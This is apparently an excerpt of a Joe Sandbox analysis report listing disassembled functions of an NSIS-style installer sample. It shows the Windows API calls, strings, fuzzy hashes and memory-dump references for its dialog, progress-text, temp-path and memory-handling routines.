Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 0040667C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

Strings

*?|<>/":, xrefs: 004066CE
C:\Users\user\AppData\Local\Temp\, xrefs: 0040667D, 00406682

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2246974252
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(00000000,00000064,0000247D), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

unpacking data: %d%%, xrefs: 00402E33, 00402E43
verifying installer: %d%%, xrefs: 00402E3A

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 70132569 Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 7013121B: GlobalAlloc.KERNELBASE(00000040,?,7013123B,?,701312DF,00000019,701311BE,-000000A0), ref: 70131225

GlobalFree.KERNEL32(?), ref: 70132657
GlobalFree.KERNEL32(00000000), ref: 7013268C

Memory Dump Source

Source File: 00000000.00000002.2274084322.0000000070131000.00000020.00000001.01000000.00000004.sdmp, Offset: 70130000, based on PE: true

Associated: 00000000.00000002.2273940310.0000000070130000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2274182585.0000000070134000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2274265618.0000000070136000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70130000_ajRZflJ2ch.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 90d454ec794e69e8420dfbd5177a0f261894d7ddbc78a1cf4ceed39ed10283a6
Instruction ID: 8b8fa74ff3a6e59f7701b0462c7f02ac5a9b8b85ec0f90cee43655f3b194c6d1
Opcode Fuzzy Hash: 90d454ec794e69e8420dfbd5177a0f261894d7ddbc78a1cf4ceed39ed10283a6
Instruction Fuzzy Hash: 9C31F2B2204001DFC71AAF55CC95D6EFBBAFF85300BB141ADFA4293A20C731A815DB61

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: ad54be54d1b33f2c3e643305ac3600c2e6c22dcacd93b56e136af0bf18fa41fc
Instruction ID: fa73a2a76dd28b4b8719808dd60f9f08d060129827b0ffc87b4efdc8f5ae5e12
Opcode Fuzzy Hash: ad54be54d1b33f2c3e643305ac3600c2e6c22dcacd93b56e136af0bf18fa41fc
Instruction Fuzzy Hash: 3D21BFB1D00124BBCF116FA5DE48D9E7E79EF09364F10023AF9607A2E1CB794D418B98

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

%u.%u%s%s, xrefs: 00404C97
(7B, xrefs: 00404C9F

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 00402598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsd88AD.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsd88AD.tmp\System.dll,00000400,?,?,00000021), ref: 004025E8
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsd88AD.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsd88AD.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsd88AD.tmp\System.dll,00000400,?,?,00000021), ref: 004025F3

Strings

C:\Users\user\AppData\Local\Temp\nsd88AD.tmp\System.dll, xrefs: 004025B3, 004025DA, 004025EE, 0040263A
C:\Users\user\AppData\Local\Temp\nsd88AD.tmp, xrefs: 004025E1

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsd88AD.tmp$C:\Users\user\AppData\Local\Temp\nsd88AD.tmp\System.dll
API String ID: 3109718747-2136423328
Opcode ID: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction ID: c13fbae436403556d6c48d38c5ac6db5007ae9437622b5a65b164b2cac9ab4a1
Opcode Fuzzy Hash: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction Fuzzy Hash: FB110B72A00301BADB106BB18E8999F7664AF44359F20443BF502F21D0D9FC89416B5E

Function 701318D9 Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 7013193A
GlobalFree.KERNEL32(?), ref: 70131ADA
GlobalFree.KERNEL32(?), ref: 70131ADF

Memory Dump Source

Source File: 00000000.00000002.2274084322.0000000070131000.00000020.00000001.01000000.00000004.sdmp, Offset: 70130000, based on PE: true

Associated: 00000000.00000002.2273940310.0000000070130000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2274182585.0000000070134000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2274265618.0000000070136000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70130000_ajRZflJ2ch.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 93c1ccb94f0a3f16ffdf8c399febb3ca813556de7ba4acc9198260fa2a67602c
Instruction ID: e417d38b96ff50fcdd5a7380dbf3d819696ed38f24075ecd4173d8bda24ec2bf
Opcode Fuzzy Hash: 93c1ccb94f0a3f16ffdf8c399febb3ca813556de7ba4acc9198260fa2a67602c
Instruction Fuzzy Hash: D751C832D010D99ECB029FA4C9405ADFFBAFB44356FD3865DE406A3744D671AE818791

Function 70132394 Relevance: 7.6, APIs: 5, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 701324D6

Part of subcall function 7013122C: lstrcpynW.KERNEL32(00000000,?,701312DF,00000019,701311BE,-000000A0), ref: 7013123C

GlobalAlloc.KERNEL32(00000040), ref: 7013245C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 70132477

Memory Dump Source

Source File: 00000000.00000002.2274084322.0000000070131000.00000020.00000001.01000000.00000004.sdmp, Offset: 70130000, based on PE: true

Associated: 00000000.00000002.2273940310.0000000070130000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2274182585.0000000070134000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2274265618.0000000070136000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70130000_ajRZflJ2ch.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 7ae9c6150bafc530720193d7afddbe583c6d26ea7055598601726739f0d2c37e
Instruction ID: 9da26806ab2c501cba45a327866c7b75f7c51f2f13e7b54e129ff67f80ec545f
Opcode Fuzzy Hash: 7ae9c6150bafc530720193d7afddbe583c6d26ea7055598601726739f0d2c37e
Instruction Fuzzy Hash: F841E0B2104305EFC314EF21DC44A6EF7B8FB58320FA188ADF54687A51EB74A444DB61

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 7013161D Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,701321EC,?,00000808), ref: 70131635
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,701321EC,?,00000808), ref: 7013163C
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,701321EC,?,00000808), ref: 70131650
GetProcAddress.KERNEL32(701321EC,00000000), ref: 70131657
GlobalFree.KERNEL32(00000000), ref: 70131660

Memory Dump Source

Source File: 00000000.00000002.2274084322.0000000070131000.00000020.00000001.01000000.00000004.sdmp, Offset: 70130000, based on PE: true

Associated: 00000000.00000002.2273940310.0000000070130000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2274182585.0000000070134000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2274265618.0000000070136000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70130000_ajRZflJ2ch.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: e3d2ae584c85d3d26b31ed9cb3a33420b486ac8a3ea7e2cad347eb7fbce0d881
Instruction ID: 864c19d98ffa426ebde93c02d3b1d3502b10819bfa3c8e87a71b6c04741d3a63
Opcode Fuzzy Hash: e3d2ae584c85d3d26b31ed9cb3a33420b486ac8a3ea7e2cad347eb7fbce0d881
Instruction Fuzzy Hash: 2AF0AC732061387BD62117A78C4CDDBBE9CDF8B2F5B210225F728925A086A65D01D7F1

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

